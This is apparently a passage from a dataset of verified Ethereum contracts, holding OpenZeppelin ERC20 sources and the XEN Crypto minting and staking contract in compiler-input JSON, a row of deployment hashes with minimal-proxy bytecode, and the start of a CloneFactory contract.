function transfer(address to, uint256 amount) external returns (bool);\n\n /**\n * @dev Returns the remaining number of tokens that `spender` will be\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\n * zero by default.\n *\n * This value changes when {approve} or {transferFrom} are called.\n */\n function allowance(address owner, address spender) external view returns (uint256);\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\n * that someone may use both the old and the new allowance by unfortunate\n * transaction ordering. One possible solution to mitigate this race\n * condition is to first reduce the spender's allowance to 0 and set the\n * desired value afterwards:\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\n *\n * Emits an {Approval} event.\n */\n function approve(address spender, uint256 amount) external returns (bool);\n\n /**\n * @dev Moves `amount` tokens from `from` to `to` using the\n * allowance mechanism. `amount` is then deducted from the caller's\n * allowance.\n *\n * Returns a boolean value indicating whether the operation succeeded.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n"
},
"@openzeppelin/contracts/token/ERC20/ERC20.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.7.0) (token/ERC20/ERC20.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IERC20.sol\";\nimport \"./extensions/IERC20Metadata.sol\";\nimport \"../../utils/Context.sol\";\n\n/**\n * @dev Implementation of the {IERC20} interface.\n *\n * This implementation is agnostic to the way tokens are created. This means\n * that a supply mechanism has to be added in a derived contract using {_mint}.\n * For a generic mechanism see {ERC20PresetMinterPauser}.\n *\n * TIP: For a detailed writeup see our guide\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\n * to implement supply mechanisms].\n *\n * We have followed general OpenZeppelin Contracts guidelines: functions revert\n * instead returning `false` on failure. This behavior is nonetheless\n * conventional and does not conflict with the expectations of ERC20\n * applications.\n *\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\n * This allows applications to reconstruct the allowance for all accounts just\n * by listening to said events. Other implementations of the EIP may not emit\n * these events, as it isn't required by the specification.\n *\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\n * functions have been added to mitigate the well-known issues around setting\n * allowances. See {IERC20-approve}.\n */\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n /**\n * @dev Sets the values for {name} and {symbol}.\n *\n * The default value of {decimals} is 18. To select a different value for\n * {decimals} you should overload it.\n *\n * All two of these values are immutable: they can only be set once during\n * construction.\n */\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n /**\n * @dev Returns the name of the token.\n */\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n /**\n * @dev Returns the symbol of the token, usually a shorter version of the\n * name.\n */\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n /**\n * @dev Returns the number of decimals used to get its user representation.\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\n * be displayed to a user as `5.05` (`505 / 10 ** 2`).\n *\n * Tokens usually opt for a value of 18, imitating the relationship between\n * Ether and Wei. This is the value {ERC20} uses, unless this function is\n * overridden;\n *\n * NOTE: This information is only used for _display_ purposes: it in\n * no way affects any of the arithmetic of the contract, including\n * {IERC20-balanceOf} and {IERC20-transfer}.\n */\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n /**\n * @dev See {IERC20-totalSupply}.\n */\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n /**\n * @dev See {IERC20-balanceOf}.\n */\n function balanceOf(address account) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n /**\n * @dev See {IERC20-transfer}.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - the caller must have a balance of at least `amount`.\n */\n function transfer(address to, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-allowance}.\n */\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n /**\n * @dev See {IERC20-approve}.\n *\n * NOTE: If `amount` is the maximum `uint256`, the allowance is not updated on\n * `transferFrom`. This is semantically equivalent to an infinite approval.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n /**\n * @dev See {IERC20-transferFrom}.\n *\n * Emits an {Approval} event indicating the updated allowance. This is not\n * required by the EIP. See the note at the beginning of {ERC20}.\n *\n * NOTE: Does not update the allowance if the current allowance\n * is the maximum `uint256`.\n *\n * Requirements:\n *\n * - `from` and `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n * - the caller must have allowance for ``from``'s tokens of at least\n * `amount`.\n */\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n /**\n * @dev Atomically increases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n */\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n return true;\n }\n\n /**\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\n *\n * This is an alternative to {approve} that can be used as a mitigation for\n * problems described in {IERC20-approve}.\n *\n * Emits an {Approval} event indicating the updated allowance.\n *\n * Requirements:\n *\n * - `spender` cannot be the zero address.\n * - `spender` must have allowance for the caller of at least\n * `subtractedValue`.\n */\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\n address owner = _msgSender();\n uint256 currentAllowance = allowance(owner, spender);\n require(currentAllowance >= subtractedValue, \"ERC20: decreased allowance below zero\");\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n /**\n * @dev Moves `amount` of tokens from `from` to `to`.\n *\n * This internal function is equivalent to {transfer}, and can be used to\n * e.g. implement automatic token fees, slashing mechanisms, etc.\n *\n * Emits a {Transfer} event.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `from` must have a balance of at least `amount`.\n */\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(fromBalance >= amount, \"ERC20: transfer amount exceeds balance\");\n unchecked {\n _balances[from] = fromBalance - amount;\n }\n _balances[to] += amount;\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\n * the total supply.\n *\n * Emits a {Transfer} event with `from` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n */\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n /**\n * @dev Destroys `amount` tokens from `account`, reducing the\n * total supply.\n *\n * Emits a {Transfer} event with `to` set to the zero address.\n *\n * Requirements:\n *\n * - `account` cannot be the zero address.\n * - `account` must have at least `amount` tokens.\n */\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n /**\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\n *\n * This internal function is equivalent to `approve`, and can be used to\n * e.g. set automatic allowances for certain subsystems, etc.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `owner` cannot be the zero address.\n * - `spender` cannot be the zero address.\n */\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n /**\n * @dev Updates `owner` s allowance for `spender` based on spent `amount`.\n *\n * Does not update the allowance amount in case of infinite allowance.\n * Revert if not enough allowance is available.\n *\n * Might emit an {Approval} event.\n */\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(currentAllowance >= amount, \"ERC20: insufficient allowance\");\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n /**\n * @dev Hook that is called before any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * will be transferred to `to`.\n * - when `from` is zero, `amount` tokens will be minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * has been transferred to `to`.\n * - when `from` is zero, `amount` tokens have been minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens have been burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC2981.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (interfaces/IERC2981.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Interface for the NFT Royalty Standard.\n *\n * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal\n * support for royalty payments across all NFT marketplaces and ecosystem participants.\n *\n * _Available since v4.5._\n */\ninterface IERC2981 is IERC165 {\n /**\n * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of\n * exchange. The royalty amount is denominated and should be paid in that same unit of exchange.\n */\n function royaltyInfo(uint256 tokenId, uint256 salePrice)\n external\n view\n returns (address receiver, uint256 royaltyAmount);\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IStakingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IStakingToken {\n event Staked(address indexed user, uint256 amount, uint256 term);\n\n event Withdrawn(address indexed user, uint256 amount, uint256 reward);\n\n function stake(uint256 amount, uint256 term) external;\n\n function withdraw() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IRankedMintingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IRankedMintingToken {\n event RankClaimed(address indexed user, uint256 term, uint256 rank);\n\n event MintClaimed(address indexed user, uint256 rewardAmount);\n\n function claimRank(uint256 term) external;\n\n function claimMintReward() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnableToken {\n function burn(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnRedeemable {\n event Redeemed(\n address indexed user,\n address indexed xenContract,\n address indexed tokenContract,\n uint256 xenAmount,\n uint256 tokenAmount\n );\n\n function onTokenBurned(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/XENCrypto.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"./Math.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\";\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\nimport \"./interfaces/IStakingToken.sol\";\nimport \"./interfaces/IRankedMintingToken.sol\";\nimport \"./interfaces/IBurnableToken.sol\";\nimport \"./interfaces/IBurnRedeemable.sol\";\n\ncontract XENCrypto is Context, IRankedMintingToken, IStakingToken, IBurnableToken, ERC20(\"XEN Crypto\", \"XEN\") {\n using Math for uint256;\n using ABDKMath64x64 for int128;\n using ABDKMath64x64 for uint256;\n\n // INTERNAL TYPE TO DESCRIBE A XEN MINT INFO\n struct MintInfo {\n address user;\n uint256 term;\n uint256 maturityTs;\n uint256 rank;\n uint256 amplifier;\n uint256 eaaRate;\n }\n\n // INTERNAL TYPE TO DESCRIBE A XEN STAKE\n struct StakeInfo {\n uint256 term;\n uint256 maturityTs;\n uint256 amount;\n uint256 apy;\n }\n\n // PUBLIC CONSTANTS\n\n uint256 public constant SECONDS_IN_DAY = 3_600 * 24;\n uint256 public constant DAYS_IN_YEAR = 365;\n\n uint256 public constant GENESIS_RANK = 1;\n\n uint256 public constant MIN_TERM = 1 * SECONDS_IN_DAY - 1;\n uint256 public constant MAX_TERM_START = 100 * SECONDS_IN_DAY;\n uint256 public constant MAX_TERM_END = 1_000 * SECONDS_IN_DAY;\n uint256 public constant TERM_AMPLIFIER = 15;\n uint256 public constant TERM_AMPLIFIER_THRESHOLD = 5_000;\n uint256 public constant REWARD_AMPLIFIER_START = 3_000;\n uint256 public constant REWARD_AMPLIFIER_END = 1;\n uint256 public constant EAA_PM_START = 100;\n uint256 public constant EAA_PM_STEP = 1;\n uint256 public constant EAA_RANK_STEP = 100_000;\n uint256 public constant WITHDRAWAL_WINDOW_DAYS = 7;\n uint256 public constant MAX_PENALTY_PCT = 99;\n\n uint256 public constant XEN_MIN_STAKE = 0;\n\n uint256 public constant XEN_MIN_BURN = 0;\n\n uint256 public constant XEN_APY_START = 20;\n uint256 public constant XEN_APY_DAYS_STEP = 90;\n uint256 public constant XEN_APY_END = 2;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n // PUBLIC STATE, READABLE VIA NAMESAKE GETTERS\n\n uint256 public immutable genesisTs;\n uint256 public globalRank = GENESIS_RANK;\n uint256 public activeMinters;\n uint256 public activeStakes;\n uint256 public totalXenStaked;\n // user address => XEN mint info\n mapping(address => MintInfo) public userMints;\n // user address => XEN stake info\n mapping(address => StakeInfo) public userStakes;\n // user address => XEN burn amount\n mapping(address => uint256) public userBurns;\n\n // CONSTRUCTOR\n constructor() {\n genesisTs = block.timestamp;\n }\n\n // PRIVATE METHODS\n\n /**\n * @dev calculates current MaxTerm based on Global Rank\n * (if Global Rank crosses over TERM_AMPLIFIER_THRESHOLD)\n */\n function _calculateMaxTerm() private view returns (uint256) {\n if (globalRank > TERM_AMPLIFIER_THRESHOLD) {\n uint256 delta = globalRank.fromUInt().log_2().mul(TERM_AMPLIFIER.fromUInt()).toUInt();\n uint256 newMax = MAX_TERM_START + delta * SECONDS_IN_DAY;\n return Math.min(newMax, MAX_TERM_END);\n }\n return MAX_TERM_START;\n }\n\n /**\n * @dev calculates Withdrawal Penalty depending on lateness\n */\n function _penalty(uint256 secsLate) private pure returns (uint256) {\n // =MIN(2^(daysLate+3)/window-1,99)\n uint256 daysLate = secsLate / SECONDS_IN_DAY;\n if (daysLate > WITHDRAWAL_WINDOW_DAYS - 1) return MAX_PENALTY_PCT;\n uint256 penalty = (uint256(1) << (daysLate + 3)) / WITHDRAWAL_WINDOW_DAYS - 1;\n return Math.min(penalty, MAX_PENALTY_PCT);\n }\n\n /**\n * @dev calculates net Mint Reward (adjusted for Penalty)\n */\n function _calculateMintReward(\n uint256 cRank,\n uint256 term,\n uint256 maturityTs,\n uint256 amplifier,\n uint256 eeaRate\n ) private view returns (uint256) {\n uint256 secsLate = block.timestamp - maturityTs;\n uint256 penalty = _penalty(secsLate);\n uint256 rankDelta = Math.max(globalRank - cRank, 2);\n uint256 EAA = (1_000 + eeaRate);\n uint256 reward = getGrossReward(rankDelta, amplifier, term, EAA);\n return (reward * (100 - penalty)) / 100;\n }\n\n /**\n * @dev cleans up User Mint storage (gets some Gas credit;))\n */\n function _cleanUpUserMint() private {\n delete userMints[_msgSender()];\n activeMinters--;\n }\n\n /**\n * @dev calculates XEN Stake Reward\n */\n function _calculateStakeReward(\n uint256 amount,\n uint256 term,\n uint256 maturityTs,\n uint256 apy\n ) private view returns (uint256) {\n if (block.timestamp > maturityTs) {\n uint256 rate = (apy * term * 1_000_000) / DAYS_IN_YEAR;\n return (amount * rate) / 100_000_000;\n }\n return 0;\n }\n\n /**\n * @dev calculates Reward Amplifier\n */\n function _calculateRewardAmplifier() private view returns (uint256) {\n uint256 amplifierDecrease = (block.timestamp - genesisTs) / SECONDS_IN_DAY;\n if (amplifierDecrease < REWARD_AMPLIFIER_START) {\n return Math.max(REWARD_AMPLIFIER_START - amplifierDecrease, REWARD_AMPLIFIER_END);\n } else {\n return REWARD_AMPLIFIER_END;\n }\n }\n\n /**\n * @dev calculates Early Adopter Amplifier Rate (in 1/000ths)\n * actual EAA is (1_000 + EAAR) / 1_000\n */\n function _calculateEAARate() private view returns (uint256) {\n uint256 decrease = (EAA_PM_STEP * globalRank) / EAA_RANK_STEP;\n if (decrease > EAA_PM_START) return 0;\n return EAA_PM_START - decrease;\n }\n\n /**\n * @dev calculates APY (in %)\n */\n function _calculateAPY() private view returns (uint256) {\n uint256 decrease = (block.timestamp - genesisTs) / (SECONDS_IN_DAY * XEN_APY_DAYS_STEP);\n if (XEN_APY_START - XEN_APY_END < decrease) return XEN_APY_END;\n return XEN_APY_START - decrease;\n }\n\n /**\n * @dev creates User Stake\n */\n function _createStake(uint256 amount, uint256 term) private {\n userStakes[_msgSender()] = StakeInfo({\n term: term,\n maturityTs: block.timestamp + term * SECONDS_IN_DAY,\n amount: amount,\n apy: _calculateAPY()\n });\n activeStakes++;\n totalXenStaked += amount;\n }\n\n // PUBLIC CONVENIENCE GETTERS\n\n /**\n * @dev calculates gross Mint Reward\n */\n function getGrossReward(\n uint256 rankDelta,\n uint256 amplifier,\n uint256 term,\n uint256 eaa\n ) public pure returns (uint256) {\n int128 log128 = rankDelta.fromUInt().log_2();\n int128 reward128 = log128.mul(amplifier.fromUInt()).mul(term.fromUInt()).mul(eaa.fromUInt());\n return reward128.div(uint256(1_000).fromUInt()).toUInt();\n }\n\n /**\n * @dev returns User Mint object associated with User account address\n */\n function getUserMint() external view returns (MintInfo memory) {\n return userMints[_msgSender()];\n }\n\n /**\n * @dev returns XEN Stake object associated with User account address\n */\n function getUserStake() external view returns (StakeInfo memory) {\n return userStakes[_msgSender()];\n }\n\n /**\n * @dev returns current AMP\n */\n function getCurrentAMP() external view returns (uint256) {\n return _calculateRewardAmplifier();\n }\n\n /**\n * @dev returns current EAA Rate\n */\n function getCurrentEAAR() external view returns (uint256) {\n return _calculateEAARate();\n }\n\n /**\n * @dev returns current APY\n */\n function getCurrentAPY() external view returns (uint256) {\n return _calculateAPY();\n }\n\n /**\n * @dev returns current MaxTerm\n */\n function getCurrentMaxTerm() external view returns (uint256) {\n return _calculateMaxTerm();\n }\n\n // PUBLIC STATE-CHANGING METHODS\n\n /**\n * @dev accepts User cRank claim provided all checks pass (incl. no current claim exists)\n */\n function claimRank(uint256 term) external {\n uint256 termSec = term * SECONDS_IN_DAY;\n require(termSec > MIN_TERM, \"CRank: Term less than min\");\n require(termSec < _calculateMaxTerm() + 1, \"CRank: Term more than current max term\");\n require(userMints[_msgSender()].rank == 0, \"CRank: Mint already in progress\");\n\n // create and store new MintInfo\n MintInfo memory mintInfo = MintInfo({\n user: _msgSender(),\n term: term,\n maturityTs: block.timestamp + termSec,\n rank: globalRank,\n amplifier: _calculateRewardAmplifier(),\n eaaRate: _calculateEAARate()\n });\n userMints[_msgSender()] = mintInfo;\n activeMinters++;\n emit RankClaimed(_msgSender(), term, globalRank++);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal Time Window), gets minted XEN\n */\n function claimMintReward() external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward and mint tokens\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n _mint(_msgSender(), rewardAmount);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and splits them between User and designated other address\n */\n function claimMintRewardAndShare(address other, uint256 pct) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(other != address(0), \"CRank: Cannot share with zero address\");\n require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share 100+ percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 sharedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - sharedReward;\n\n // mint reward tokens\n _mint(_msgSender(), ownReward);\n _mint(other, sharedReward);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and stakes 'pct' of it for 'term'\n */\n function claimMintRewardAndStake(uint256 pct, uint256 term) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n // require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share >100 percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 stakedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - stakedReward;\n\n // mint reward tokens part\n _mint(_msgSender(), ownReward);\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n\n // nothing to burn since we haven't minted this part yet\n // stake extra tokens part\n require(stakedReward > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n _createStake(stakedReward, term);\n emit Staked(_msgSender(), stakedReward, term);\n }\n\n /**\n * @dev initiates XEN Stake in amount for a term (days)\n */\n function stake(uint256 amount, uint256 term) external {\n require(balanceOf(_msgSender()) >= amount, \"XEN: not enough balance\");\n require(amount > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n // burn staked XEN\n _burn(_msgSender(), amount);\n // create XEN Stake\n _createStake(amount, term);\n emit Staked(_msgSender(), amount, term);\n }\n\n /**\n * @dev ends XEN Stake and gets reward if the Stake is mature\n */\n function withdraw() external {\n StakeInfo memory userStake = userStakes[_msgSender()];\n require(userStake.amount > 0, \"XEN: no stake exists\");\n\n uint256 xenReward = _calculateStakeReward(\n userStake.amount,\n userStake.term,\n userStake.maturityTs,\n userStake.apy\n );\n activeStakes--;\n totalXenStaked -= userStake.amount;\n\n // mint staked XEN (+ reward)\n _mint(_msgSender(), userStake.amount + xenReward);\n emit Withdrawn(_msgSender(), userStake.amount, xenReward);\n delete userStakes[_msgSender()];\n }\n\n /**\n * @dev burns XEN tokens and creates Proof-Of-Burn record to be used by connected DeFi services\n */\n function burn(address user, uint256 amount) public {\n require(amount > XEN_MIN_BURN, \"Burn: Below min limit\");\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"Burn: not a supported contract\"\n );\n\n _spendAllowance(user, _msgSender(), amount);\n _burn(user, amount);\n userBurns[user] += amount;\n IBurnRedeemable(_msgSender()).onTokenBurned(user, amount);\n }\n}\n"
},
"@faircrypto/xen-crypto/contracts/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\n\nlibrary Math {\n\n function min(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return b;\n return a;\n }\n\n function max(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return a;\n return b;\n }\n\n function logX64(uint256 x) external pure returns (int128) {\n return ABDKMath64x64.log_2(ABDKMath64x64.fromUInt(x));\n }\n}\n"
}
},
"settings": {
"remappings": [],
"optimizer": {
"enabled": true,
"runs": 20
},
"evmVersion": "london",
"libraries": {
"/contracts/libs/MintInfo.sol": {
"MintInfo": "0xC739d01beb34E380461BBa9ef8ed1a44874382Be"
},
"/contracts/libs/Metadata.sol": {
"Metadata": "0x1Ac17FFB8456525BfF46870bba7Ed8772ba063a5"
}
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}}
|
1 | 19,497,328 |
04da280b2ffcc05ed8f8d00061d13ff0e3e70b480192e198f70b7e4bec87f722
|
ae96ffdfe2a9f3017f63c0e53a5fa299b596689763b56c5d987e8b7aaf0d4d96
|
099b1d292689be58f498f127f4e08fe4f0969bce
|
ffa397285ce46fb78c588a9e993286aac68c37cd
|
cb3abf2c66332d89fec4bfdc002079b6066851b5
|
3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
